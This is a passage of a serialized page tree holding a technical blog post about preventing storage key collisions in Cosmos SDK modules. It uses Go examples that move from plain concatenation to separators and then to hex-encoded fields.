username",{"type":23,"tag":41,"props":85255,"children":85256},{"style":70},[85257],{"type":28,"value":3506},{"type":23,"tag":41,"props":85259,"children":85260},{"class":43,"line":105},[85261,85266],{"type":23,"tag":41,"props":85262,"children":85263},{"style":858},[85264],{"type":28,"value":85265},"    positionName",{"type":23,"tag":41,"props":85267,"children":85268},{"style":70},[85269],{"type":28,"value":3506},{"type":23,"tag":41,"props":85271,"children":85272},{"class":43,"line":155},[85273],{"type":23,"tag":41,"props":85274,"children":85275},{"style":70},[85276],{"type":28,"value":1969},{"type":23,"tag":24,"props":85278,"children":85279},{},[85280],{"type":28,"value":85281},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":31,"props":85283,"children":85285},{"code":85284},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[85286],{"type":23,"tag":37,"props":85287,"children":85288},{"__ignoreMap":7},[85289],{"type":28,"value":85284},{"type":23,"tag":24,"props":85291,"children":85292},{},[85293,85298],{"type":23,"tag":2913,"props":85294,"children":85295},{},[85296],{"type":28,"value":85297},"So, how can we mitigate this issue?",{"type":28,"value":85299},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":31,"props":85301,"children":85303},{"code":85302,"language":76159,"meta":7,"className":76160,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[85304],{"type":23,"tag":37,"props":85305,"children":85306},{"__ignoreMap":7},[85307,85318,85335,85342,85349,85376,85388,85399,85410,85421,85432,85443],{"type":23,"tag":41,"props":85308,"children":85309},{"class":43,"line":44},[85310,85314],{"type":23,"tag":41,"props":85311,"children":85312},{"style":64},[85313],{"type":28,"value":846},{"type":23,"tag":41,"props":85315,"children":85316},{"style":70},[85317],{"type":28,"value":78561},{"type":23,"tag":41,"props":85319,"children":85320},{"class":43,"line":54},[85321,85326,85330],{"type":23,"tag":41,"props":85322,"children":85323},{"style":858},[85324],{"type":28,"value":85325},"    Seperator",{"type":23,"tag":41,"props":85327,"children":85328},{"style":170},[85329],{"type":28,"value":3017},{"type":23,"tag":41,"props":85331,"children":85332},{"style":735},[85333],{"type":28,"value":85334}," \"|\"\n",{"type":23,"tag":41,"props":85336,"children":85337},{"class":43,"line":76},[85338],{"type":23,"tag":41,"props":85339,"children":85340},{"style":70},[85341],{"type":28,"value":1969},{"type":23,"tag":41,"props":85343,"children":85344},{"class":43,"line":85},[85345],{"type":23,"tag":41,"props":85346,"children":85347},{"emptyLinePlaceholder":18},[85348],{"type":28,"value":82},{"type":23,"tag":41,"props":85350,"children":85351},{"class":43,"line":105},[85352,85356,85360,85364,85368,85372],{"type":23,"tag":41,"props":85353,"children":85354},{"style":858},[85355],{"type":28,"value":85200},{"type":23,"tag":41,"props":85357,"children":85358},{"style":170},[85359],{"type":28,"value":76411},{"type":23,"tag":41,"props":85361,"children":85362},{"style":858},[85363],{"type":28,"value":82228},{"type":23,"tag":41,"props":85365,"children":85366},{"style":70},[85367],{"type":28,"value":706},{"type":23,"tag":41,"props":85369,"children":85370},{"style":114},[85371],{"type":28,"value":85217},{"type":23,"tag":41,"props":85373,"children":85374},{"style":70},[85375],{"type":28,"value":3461},{"type":23,"tag":41,"props":85377,"children":85378},{"class":43,"line":155},[85379,85384],{"type":23,"tag":41,"props":85380,"children":85381},{"style":735},[85382],{"type":28,"value":85383},"    \"%d%s%s%s%s\"",{"type":23,"tag":41,"props":85385,"children":85386},{"style":70},[85387],{"type":28,"value":3506},{"type":23,"tag":41,"props":85389,"children":85390},{"class":43,"line":186},[85391,85395],{"type":23,"tag":41,"props":85392,"children":85393},{"style":858},[85394],{"type":28,"value":85241},{"type":23,"tag":41,"props":85396,"children":85397},{"style":70},[85398],{"type":28,"value":3506},{"type":23,"tag":41,"props":85400,"children":85401},{"class":43,"line":195},[85402,85406],{"type":23,"tag":41,"props":85403,"children":85404},{"style":858},[85405],{"type":28,"value":85325},{"type":23,"tag":41,"props":85407,"children":85408},{"style":70},[85409],{"type":28,"value":3506},{"type":23,"tag":41,"props":85411,"children":85412},{"class":43,"line":905},[85413,85417],{"type":23,"tag":41,"props":85414,"children":85415},{"style":858},[85416],{"type":28,"value":85253},{"type":23,"tag":41,"props":85418,"children":85419},{"style":70},[85420],{"type":28,"value":3506},{"type":23,"tag":41,"props":85422,"children":85423},{"class":43,"line":922},[85424,85428],{"type":23,"tag":41,"props":85425,"children":85426},{"style":858},[85427],{"type":28,"value":85325},{"type":23,"tag":41,"props":85429,"children":85430},{"style":70},[85431],{"type":28,"value":3506},{"type":23,"tag":41,"props":85433,"children":85434},{"class":43,"line":930},[85435,85439],{"type":23,"tag":41,"props":85436,"children":85437},{"style":858},[85438],{"type":28,"value":85265},{"type":23,"tag":41,"props":85440,"children":85441},{"style":70},[85442],{"type":28,"value":3506},{"type":23,"tag":41,"props":85444,"children":85445},{"class":43,"line":939},[85446],{"type":23,"tag":41,"props":85447,"children":85448},{"style":70},[85449],{"type":28,"value":1969},{"type":23,"tag":24,"props":85451,"children":85452},{},[85453],{"type":28,"value":85454},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":24,"props":85456,"children":85457},{},[85458,85460,85466,85467,85473],{"type":28,"value":85459},"Sadly, it doesn't. Since the ",{"type":23,"tag":37,"props":85461,"children":85463},{"className":85462},[],[85464],{"type":28,"value":85465},"username",{"type":28,"value":1361},{"type":23,"tag":37,"props":85468,"children":85470},{"className":85469},[],[85471],{"type":28,"value":85472},"vaultName",{"type":28,"value":85474}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":31,"props":85476,"children":85478},{"code":85477},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[85479],{"type":23,"tag":37,"props":85480,"children":85481},{"__ignoreMap":7},[85482],{"type":28,"value":85477},{"type":23,"tag":24,"props":85484,"children":85485},{},[85486],{"type":28,"value":85487},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":31,"props":85489,"children":85491},{"code":85490,"language":76159,"meta":7,"className":76160,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[85492],{"type":23,"tag":37,"props":85493,"children":85494},{"__ignoreMap":7},[85495,85506,85521,85528,85535,85542,85563,85579,85617,85624,85661,85668,85688,85703,85739,85746,85781,85788,85815,85826,85837,85848,85860,85871,85879],{"type":23,"tag":41,"props":85496,"children":85497},{"class":43,"line":44},[85498,85502],{"type":23,"tag":41,"props":85499,"children":85500},{"style":64},[85501],{"type":28,"value":846},{"type":23,"tag":41,"props":85503,"children":85504},{"style":70},[85505],{"type":28,"value":78561},{"type":23,"tag":41,"props":85507,"children":85508},{"class":43,"line":54},[85509,85513,85517],{"type":23,"tag":41,"props":85510,"children":85511},{"style":858},[85512],{"type":28,"value":85325},{"type":23,"tag":41,"props":85514,"children":85515},{"style":170},[85516],{"type":28,"value":3017},{"type":23,"tag":41,"props":85518,"children":85519},{"style":735},[85520],{"type":28,"value":85334},{"type":23,"tag":41,"props":85522,"children":85523},{"class":43,"line":76},[85524],{"type":23,"tag":41,"props":85525,"children":85526},{"style":70},[85527],{"type":28,"value":1969},{"type":23,"tag":41,"props":85529,"children":85530},{"class":43,"line":85},[85531],{"type":23,"tag":41,"props":85532,"children":85533},{"emptyLinePlaceholder":18},[85534],{"type":28,"value":82},{"type":23,"tag":41,"props":85536,"children":85537},{"class":43,"line":105},[85538],{"type":23,"tag":41,"props":85539,"children":85540},{"emptyLinePlaceholder":18},[85541],{"type":28,"value":82},{"type":23,"tag":41,"props":85543,"children":85544},{"class":43,"line":155},[85545,85550,85554,85559],{"type":23,"tag":41,"props":85546,"children":85547},{"style":858},[85548],{"type":28,"value":85549},"usernameEncoded",{"type":23,"tag":41,"props":85551,"children":85552},{"style":170},[85553],{"type":28,"value":76411},{"type":23,"tag":41,"props":85555,"children":85556},{"style":114},[85557],{"type":28,"value":85558}," make",{"type":23,"tag":41,"props":85560,"children":85561},{"style":70},[85562],{"type":28,"value":3461},{"type":23,"tag":41,"props":85564,"children":85565},{"class":43,"line":186},[85566,85571,85575],{"type":23,"tag":41,"props":85567,"children":85568},{"style":70},[85569],{"type":28,"value":85570},"    []",{"type":23,"tag":41,"props":85572,"children":85573},{"style":94},[85574],{"type":28,"value":84759},{"type":23,"tag":41,"props":85576,"children":85577},{"style":70},[85578],{"type":28,"value":3506},{"type":23,"tag":41,"props":85580,"children":85581},{"class":43,"line":195},[85582,85587,85591,85596,85600,85604,85608,85612],{"type":23,"tag":41,"props":85583,"children":85584},{"style":858},[85585],{"type":28,"value":85586},"    hex",{"type":23,"tag":41,"props":85588,"children":85589},{"style":70},[85590],{"type":28,"value":706},{"type":23,"tag":41,"props":85592,"children":85593},{"style":114},[85594],{"type":28,"value":85595},"EncodedLen",{"type":23,"tag":41,"props":85597,"children":85598},{"style":70},[85599],{"type":28,"value":1737},{"type":23,"tag":41,"props":85601,"children":85602},{"style":114},[85603],{"type":28,"value":9136},{"type":23,"tag":41,"props":85605,"children":85606},{"style":70},[85607],{"type":28,"value":1737},{"type":23,"tag":41,"props":85609,"children":85610},{"style":858},[85611],{"type":28,"value":85465},{"type":23,"tag":41,"props":85613,"children":85614},{"style":70},[85615],{"type":28,"value":85616},")),\n",{"type":23,"tag":41,"props":85618,"children":85619},{"class":43,"line":905},[85620],{"type":23,"tag":41,"props":85621,"children":85622},{"style":70},[85623],{"type":28,"value":1969},{"type":23,"tag":41,"props":85625,"children":85626},{"class":43,"line":922},[85627,85632,85636,85641,85645,85649,85653,85657],{"type":23,"tag":41,"props":85628,"children":85629},{"style":858},[85630],{"type":28,"value":85631},"hex",{"type":23,"tag":41,"props":85633,"children":85634},{"style":70},[85635],{"type":28,"value":706},{"type":23,"tag":41,"props":85637,"children":85638},{"style":114},[85639],{"type":28,"value":85640},"Encode",{"type":23,"tag":41,"props":85642,"children":85643},{"style":70},[85644],{"type":28,"value":1737},{"type":23,"tag":41,"props":85646,"children":85647},{"style":858},[85648],{"type":28,"value":85549},{"type":23,"tag":41,"props":85650,"children":85651},{"style":70},[85652],{"type":28,"value":970},{"type":23,"tag":41,"props":85654,"children":85655},{"style":858},[85656],{"type":28,"value":85465},{"type":23,"tag":41,"props":85658,"children":85659},{"style":70},[85660],{"type":28,"value":1969},{"type":23,"tag":41,"props":85662,"children":85663},{"class":43,"line":930},[85664],{"type":23,"tag":41,"props":85665,"children":85666},{"emptyLinePlaceholder":18},[85667],{"type":28,"value":82},{"type":23,"tag":41,"props":85669,"children":85670},{"class":43,"line":939},[85671,85676,85680,85684],{"type":23,"tag":41,"props":85672,"children":85673},{"style":858},[85674],{"type":28,"value":85675},"positionNameEncoded",{"type":23,"tag":41,"props":85677,"children":85678},{"style":170},[85679],{"type":28,"value":76411},{"type":23,"tag":41,"props":85681,"children":85682},{"style":114},[85683],{"type":28,"value":85558},{"type":23,"tag":41,"props":85685,"children":85686},{"style":70},[85687],{"type":28,"value":3461},{"type":23,"tag":41,"props":85689,"children":85690},{"class":43,"line":947},[85691,85695,85699],{"type":23,"tag":41,"props":85692,"children":85693},{"style":70},[85694],{"type":28,"value":85570},{"type":23,"tag":41,"props":85696,"children":85697},{"style":94},[85698],{"type":28,"value":84759},{"type":23,"tag":41,"props":85700,"children":85701},{"style":70},[85702],{"type":28,"value":3506},{"type":23,"tag":41,"props":85704,"children":85705},{"class":43,"line":985},[85706,85710,85714,85718,85722,85726,85730,85735],{"type":23,"tag":41,"props":85707,"children":85708},{"style":858},[85709],{"type":28,"value":85586},{"type":23,"tag":41,"props":85711,"children":85712},{"style":70},[85713],{"type":28,"value":706},{"type":23,"tag":41,"props":85715,"children":85716},{"style":114},[85717],{"type":28,"value":85595},{"type":23,"tag":41,"props":85719,"children":85720},{"style":70},[85721],{"type":28,"value":1737},{"type":23,"tag":41,"props":85723,"children":85724},{"style":114},[85725],{"type":28,"value":9136},{"type":23,"tag":41,"props":85727,"children":85728},{"style":70},[85729],{"type":28,"value":1737},{"type":23,"tag":41,"props":85731,"children":85732},{"style":858},[85733],{"type":28,"value":85734},"positionName",{"type":23,"tag":41,"props":85736,"children":85737},{"style":70},[85738],{"type":28,"value":85616},{"type":23,"tag":41,"props":85740,"children":85741},{"class":43,"line":1058},[85742],{"type":23,"tag":41,"props":85743,"children":85744},{"style":70},[85745],{"type":28,"value":1969},{"type":23,"tag":41,"props":85747,"children":85748},{"class":43,"line":1084},[85749,85753,85757,85761,85765,85769,85773,85777],{"type":23,"tag":41,"props":85750,"children":85751},{"style":858},[85752],{"type":28,"value":85631},{"type":23,"tag":41,"props":85754,"children":85755},{"style":70},[85756],{"type":28,"value":706},{"type":23,"tag":41,"props":85758,"children":85759},{"style":114},[85760],{"type":28,"value":85640},{"type":23,"tag":41,"props":85762,"children":85763},{"style":70},[85764],{"type":28,"value":1737},{"type":23,"tag":41,"props":85766,"children":85767},{"style":858},[85768],{"type":28,"value":85675},{"type":23,"tag":41,"props":85770,"children":85771},{"style":70},[85772],{"type":28,"value":970},{"type":23,"tag":41,"props":85774,"children":85775},{"style":858},[85776],{"type":28,"value":85734},{"type":23,"tag":41,"props":85778,"children":85779},{"style":70},[85780],{"type":28,"value":1969},{"type":23,"tag":41,"props":85782,"children":85783},{"class":43,"line":1102},[85784],{"type":23,"tag":41,"props":85785,"children":85786},{"emptyLinePlaceholder":18},[85787],{"type":28,"value":82},{"type":23,"tag":41,"props":85789,"children":85790},{"class":43,"line":1110},[85791,85795,85799,85803,85807,85811],{"type":23,"tag":41,"props":85792,"children":85793},{"style":858},[85794],{"type":28,"value":85200},{"type":23,"tag":41,"props":85796,"children":85797},{"style":170},[85798],{"type":28,"value":76411},{"type":23,"tag":41,"props":85800,"children":85801},{"style":858},[85802],{"type":28,"value":82228},{"type":23,"tag":41,"props":85804,"children":85805},{"style":70},[85806],{"type":28,"value":706},{"type":23,"tag":41,"props":85808,"children":85809},{"style":114},[85810],{"type":28,"value":85217},{"type":23,"tag":41,"props":85812,"children":85813},{"style":70},[85814],{"type":28,"value":3461},{"type":23,"tag":41,"props":85816,"children":85817},{"class":43,"line":1118},[85818,85822],{"type":23,"tag":41,"props":85819,"children":85820},{"style":735},[85821],{"type":28,"value":85383},{"type":23,"tag":41,"props":85823,"children":85824},{"style":70},[85825],{"type":28,"value":3506},{"type":23,"tag":41,"props":85827,"children":85828},{"class":43,"line":1137},[85829,85833],{"type":23,"tag":41,"props":85830,"children":85831},{"style":858},[85832],{"type":28,"value":85241},{"type":23,"tag":41,"props":85834,"children":85835},{"style":70},[85836],{"type":28,"value":3506},{"type":23,"tag":41,"props":85838,"children":85839},{"class":43,"line":1163},[85840,85844],{"type":23,"tag":41,"props":85841,"children":85842},{"style":858},[85843],{"type":28,"value":85325},{"type":23,"tag":41,"props":85845,"children":85846},{"style":70},[85847],{"type":28,"value":3506},{"type":23,"tag":41,"props":85849,"children":85850},{"class":43,"line":1188},[85851,85856],{"type":23,"tag":41,"props":85852,"children":85853},{"style":858},[85854],{"type":28,"value":85855},"    usernameEncoded",{"type":23,"tag":41,"props":85857,"children":85858},{"style":70},[85859],{"type":28,"value":3506},{"type":23,"tag":41,"props":85861,"children":85862},{"class":43,"line":1979},[85863,85867],{"type":23,"tag":41,"props":85864,"children":85865},{"style":858},[85866],{"type":28,"value":85325},{"type":23,"tag":41,"props":85868,"children":85869},{"style":70},[85870],{"type":28,"value":3506},{"type":23,"tag":41,"props":85872,"children":85873},{"class":43,"line":2002},[85874],{"type":23,"tag":41,"props":85875,"children":85876},{"style":858},[85877],{"type":28,"value":85878},"    positionNameEncoded\n",{"type":23,"tag":41,"props":85880,"children":85881},{"class":43,"line":3835},[85882],{"type":23,"tag":41,"props":85883,"children":85884},{"style":70},[85885],{"type":28,"value":1969},{"type":23,"tag":24,"props":85887,"children":85888},{},[85889,85891,85896],{"type":28,"value":85890},"We did it. We finally eliminated all potential ",{"type":23,"tag":37,"props":85892,"children":85894},{"className":85893},[],[85895],{"type":28,"value":85200},{"type":28,"value":85897}," collisions.",{"type":23,"tag":24,"props":85899,"children":85900},{},[85901],{"type":28,"value":85902},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":23,"tag":24,"props":85904,"children":85905},{},[85906,85908,85914,85916,85921,85923,85928,85930,85935,85937,85943],{"type":28,"value":85907},"In the Cosmos framework, it is common for each ",{"type":23,"tag":37,"props":85909,"children":85911},{"className":85910},[],[85912],{"type":28,"value":85913},"Module",{"type":28,"value":85915}," to own a few ",{"type":23,"tag":37,"props":85917,"children":85919},{"className":85918},[],[85920],{"type":28,"value":84971},{"type":28,"value":85922}," and have individual ",{"type":23,"tag":37,"props":85924,"children":85926},{"className":85925},[],[85927],{"type":28,"value":79940},{"type":28,"value":85929},"s managing access to storages. It's also important to note that each ",{"type":23,"tag":37,"props":85931,"children":85933},{"className":85932},[],[85934],{"type":28,"value":84971},{"type":28,"value":85936}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":23,"tag":37,"props":85938,"children":85940},{"className":85939},[],[85941],{"type":28,"value":85942},"Modules",{"type":28,"value":706},{"type":23,"tag":24,"props":85945,"children":85946},{},[85947,85949,85954],{"type":28,"value":85948},"With that being said, what if we have to maintain more than one structure within the same ",{"type":23,"tag":37,"props":85950,"children":85952},{"className":85951},[],[85953],{"type":28,"value":84971},{"type":28,"value":3155},{"type":23,"tag":24,"props":85956,"children":85957},{},[85958,85960,85966,85968,85973],{"type":28,"value":85959},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":37,"props":85961,"children":85963},{"className":85962},[],[85964],{"type":28,"value":85965},"NameToAddressMap",{"type":28,"value":85967}," structure, which will be stored in the same ",{"type":23,"tag":37,"props":85969,"children":85971},{"className":85970},[],[85972],{"type":28,"value":84971},{"type":28,"value":85974}," we previously used.",{"type":23,"tag":31,"props":85976,"children":85978},{"code":85977,"language":76159,"meta":7,"className":76160,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[85979],{"type":23,"tag":37,"props":85980,"children":85981},{"__ignoreMap":7},[85982,85997,86012,86019,86034,86053,86068,86075,86090,86145,86152,86168,86188,86203,86210,86226],{"type":23,"tag":41,"props":85983,"children":85984},{"class":43,"line":44},[85985,85989,85993],{"type":23,"tag":41,"props":85986,"children":85987},{"style":64},[85988],{"type":28,"value":1669},{"type":23,"tag":41,"props":85990,"children":85991},{"style":94},[85992],{"type":28,"value":85017},{"type":23,"tag":41,"props":85994,"children":85995},{"style":94},[85996],{"type":28,"value":76197},{"type":23,"tag":41,"props":85998,"children":85999},{"class":43,"line":54},[86000,86004,86008],{"type":23,"tag":41,"props":86001,"children":86002},{"style":64},[86003],{"type":28,"value":1669},{"type":23,"tag":41,"props":86005,"children":86006},{"style":94},[86007],{"type":28,"value":85033},{"type":23,"tag":41,"props":86009,"children":86010},{"style":94},[86011],{"type":28,"value":85038},{"type":23,"tag":41,"props":86013,"children":86014},{"class":43,"line":76},[86015],{"type":23,"tag":41,"props":86016,"children":86017},{"emptyLinePlaceholder":18},[86018],{"type":28,"value":82},{"type":23,"tag":41,"props":86020,"children":86021},{"class":43,"line":85},[86022,86026,86030],{"type":23,"tag":41,"props":86023,"children":86024},{"style":64},[86025],{"type":28,"value":1669},{"type":23,"tag":41,"props":86027,"children":86028},{"style":94},[86029],{"type":28,"value":85050},{"type":23,"tag":41,"props":86031,"children":86032},{"style":94},[86033],{"type":28,"value":85038},{"type":23,"tag":41,"props":86035,"children":86036},{"class":43,"line":105},[86037,86041,86045,86049],{"type":23,"tag":41,"props":86038,"children":86039},{"style":64},[86040],{"type":28,"value":1669},{"type":23,"tag":41,"props":86042,"children":86043},{"style":94},[86044],{"type":28,"value":7424},{"type":23,"tag":41,"props":86046,"children":86047},{"style":64},[86048],{"type":28,"value":21138},{"type":23,"tag":41,"props":86050,"children":86051},{"style":70},[86052],{"type":28,"value":102},{"type":23,"tag":41,"props":86054,"children":86055},{"class":43,"line":155},[86056,86060,86064],{"type":23,"tag":41,"props":86057,"children":86058},{"style":858},[86059],{"type":28,"value":43223},{"type":23,"tag":41,"props":86061,"children":86062},{"style":70},[86063],{"type":28,"value":76222},{"type":23,"tag":41,"props":86065,"children":86066},{"style":94},[86067],{"type":28,"value":84222},{"type":23,"tag":41,"props":86069,"children":86070},{"class":43,"line":186},[86071],{"type":23,"tag":41,"props":86072,"children":86073},{"style":70},[86074],{"type":28,"value":201},{"type":23,"tag":41,"props":86076,"children":86077},{"class":43,"line":195},[86078,86082,86086],{"type":23,"tag":41,"props":86079,"children":86080},{"style":64},[86081],{"type":28,"value":1669},{"type":23,"tag":41,"props":86083,"children":86084},{"style":94},[86085],{"type":28,"value":85107},{"type":23,"tag":41,"props":86087,"children":86088},{"style":170},[86089],{"type":28,"value":85112},{"type":23,"tag":41,"props":86091,"children":86092},{"class":43,"line":905},[86093,86097,86101,86105,86109,86113,86117,86121,86125,86129,86133,86137,86141],{"type":23,"tag":41,"props":86094,"children":86095},{"style":64},[86096],{"type":28,"value":85120},{"type":23,"tag":41,"props":86098,"children":86099},{"style":70},[86100],{"type":28,"value":312},{"type":23,"tag":41,"props":86102,"children":86103},{"style":94},[86104],{"type":28,"value":85129},{"type":23,"tag":41,"props":86106,"children":86107},{"style":70},[86108],{"type":28,"value":15402},{"type":23,"tag":41,"props":86110,"children":86111},{"style":64},[86112],{"type":28,"value":67097},{"type":23,"tag":41,"props":86114,"children":86115},{"style":70},[86116],{"type":28,"value":312},{"type":23,"tag":41,"props":86118,"children":86119},{"style":94},[86120],{"type":28,"value":85146},{"type":23,"tag":41,"props":86122,"children":86123},{"style":70},[86124],{"type":28,"value":15402},{"type":23,"tag":41,"props":86126,"children":86127},{"style":64},[86128],{"type":28,"value":67097},{"type":23,"tag":41,"props":86130,"children":86131},{"style":70},[86132],{"type":28,"value":312},{"type":23,"tag":41,"props":86134,"children":86135},{"style":94},[86136],{"type":28,"value":85163},{"type":23,"tag":41,"props":86138,"children":86139},{"style":70},[86140],{"type":28,"value":15402},{"type":23,"tag":41,"props":86142,"children":86143},{"style":94},[86144],{"type":28,"value":85172},{"type":23,"tag":41,"props":86146,"children":86147},{"class":43,"line":922},[86148],{"type":23,"tag":41,"props":86149,"children":86150},{"emptyLinePlaceholder":18},[86151],{"type":28,"value":82},{"type":23,"tag":41,"props":86153,"children":86154},{"class":43,"line":930},[86155,86159,86164],{"type":23,"tag":41,"props":86156,"children":86157},{"style":64},[86158],{"type":28,"value":1669},{"type":23,"tag":41,"props":86160,"children":86161},{"style":94},[86162],{"type":28,"value":86163}," AddressName",{"type":23,"tag":41,"props":86165,"children":86166},{"style":94},[86167],{"type":28,"value":85038},{"type":23,"tag":41,"props":86169,"children":86170},{"class":43,"line":939},[86171,86175,86180,86184],{"type":23,"tag":41,"props":86172,"children":86173},{"style":64},[86174],{"type":28,"value":1669},{"type":23,"tag":41,"props":86176,"children":86177},{"style":94},[86178],{"type":28,"value":86179}," Address",{"type":23,"tag":41,"props":86181,"children":86182},{"style":64},[86183],{"type":28,"value":21138},{"type":23,"tag":41,"props":86185,"children":86186},{"style":70},[86187],{"type":28,"value":102},{"type":23,"tag":41,"props":86189,"children":86190},{"class":43,"line":947},[86191,86195,86199],{"type":23,"tag":41,"props":86192,"children":86193},{"style":858},[86194],{"type":28,"value":15096},{"type":23,"tag":41,"props":86196,"children":86197},{"style":70},[86198],{"type":28,"value":76222},{"type":23,"tag":41,"props":86200,"children":86201},{"style":94},[86202],{"type":28,"value":84222},{"type":23,"tag":41,"props":86204,"children":86205},{"class":43,"line":985},[86206],{"type":23,"tag":41,"props":86207,"children":86208},{"style":70},[86209],{"type":28,"value":201},{"type":23,"tag":41,"props":86211,"children":86212},{"class":43,"line":1058},[86213,86217,86222],{"type":23,"tag":41,"props":86214,"children":86215},{"style":64},[86216],{"type":28,"value":1669},{"type":23,"tag":41,"props":86218,"children":86219},{"style":94},[86220],{"type":28,"value":86221}," AddressMap",{"type":23,"tag":41,"props":86223,"children":86224},{"style":170},[86225],{"type":28,"value":85112},{"type":23,"tag":41,"props":86227,"children":86228},{"class":43,"line":1084},[86229,86233,86237,86241,86245,86249,86253,86257,86261,86265,86269,86274,86278],{"type":23,"tag":41,"props":86230,"children":86231},{"style":64},[86232],{"type":28,"value":85120},{"type":23,"tag":41,"props":86234,"children":86235},{"style":70},[86236],{"type":28,"value":312},{"type":23,"tag":41,"props":86238,"children":86239},{"style":94},[86240],{"type":28,"value":85129},{"type":23,"tag":41,"props":86242,"children":86243},{"style":70},[86244],{"type":28,"value":15402},{"type":23,"tag":41,"props":86246,"children":86247},{"style":64},[86248],{"type":28,"value":67097},{"type":23,"tag":41,"props":86250,"children":86251},{"style":70},[86252],{"type":28,"value":312},{"type":23,"tag":41,"props":86254,"children":86255},{"style":94},[86256],{"type":28,"value":85146},{"type":23,"tag":41,"props":86258,"children":86259},{"style":70},[86260],{"type":28,"value":15402},{"type":23,"tag":41,"props":86262,"children":86263},{"style":64},[86264],{"type":28,"value":67097},{"type":23,"tag":41,"props":86266,"children":86267},{"style":70},[86268],{"type":28,"value":312},{"type":23,"tag":41,"props":86270,"children":86271},{"style":94},[86272],{"type":28,"value":86273},"AddressName",{"type":23,"tag":41,"props":86275,"children":86276},{"style":70},[86277],{"type":28,"value":15402},{"type":23,"tag":41,"props":86279,"children":86280},{"style":94},[86281],{"type":28,"value":86282},"Address\n",{"type":23,"tag":24,"props":86284,"children":86285},{},[86286],{"type":28,"value":86287},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":31,"props":86289,"children":86291},{"code":86290,"language":76159,"meta":7,"className":76160,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[86292],{"type":23,"tag":37,"props":86293,"children":86294},{"__ignoreMap":7},[86295,86306,86321,86328,86335,86342,86358,86373,86400,86423,86442,86458,86494,86501,86536,86543,86563,86578,86613,86620,86655,86662,86690,86702,86714,86726,86738,86749,86761,86768,86775,86782,86789,86805,86820,86844,86867,86886,86901,86936,86943,86978,86985,87005,87020,87055,87062,87098,87105,87132,87143,87154,87165,87176,87187,87199,87206],{"type":23,"tag":41,"props":86296,"children":86297},{"class":43,"line":44},[86298,86302],{"type":23,"tag":41,"props":86299,"children":86300},{"style":64},[86301],{"type":28,"value":846},{"type":23,"tag":41,"props":86303,"children":86304},{"style":70},[86305],{"type":28,"value":78561},{"type":23,"tag":41,"props":86307,"children":86308},{"class":43,"line":54},[86309,86313,86317],{"type":23,"tag":41,"props":86310,"children":86311},{"style":858},[86312],{"type":28,"value":85325},{"type":23,"tag":41,"props":86314,"children":86315},{"style":170},[86316],{"type":28,"value":3017},{"type":23,"tag":41,"props":86318,"children":86319},{"style":735},[86320],{"type":28,"value":85334},{"type":23,"tag":41,"props":86322,"children":86323},{"class":43,"line":76},[86324],{"type":23,"tag":41,"props":86325,"children":86326},{"style":70},[86327],{"type":28,"value":1969},{"type":23,"tag":41,"props":86329,"children":86330},{"class":43,"line":85},[86331],{"type":23,"tag":41,"props":86332,"children":86333},{"emptyLinePlaceholder":18},[86334],{"type":28,"value":82},{"type":23,"tag":41,"props":86336,"children":86337},{"class":43,"line":105},[86338],{"type":23,"tag":41,"props":86339,"children":86340},{"emptyLinePlaceholder":18},[86341],{"type":28,"value":82},{"type":23,"tag":41,"props":86343,"children":86344},{"class":43,"line":155},[86345,86349,86354],{"type":23,"tag":41,"props":86346,"children":86347},{"style":64},[86348],{"type":28,"value":76295},{"type":23,"tag":41,"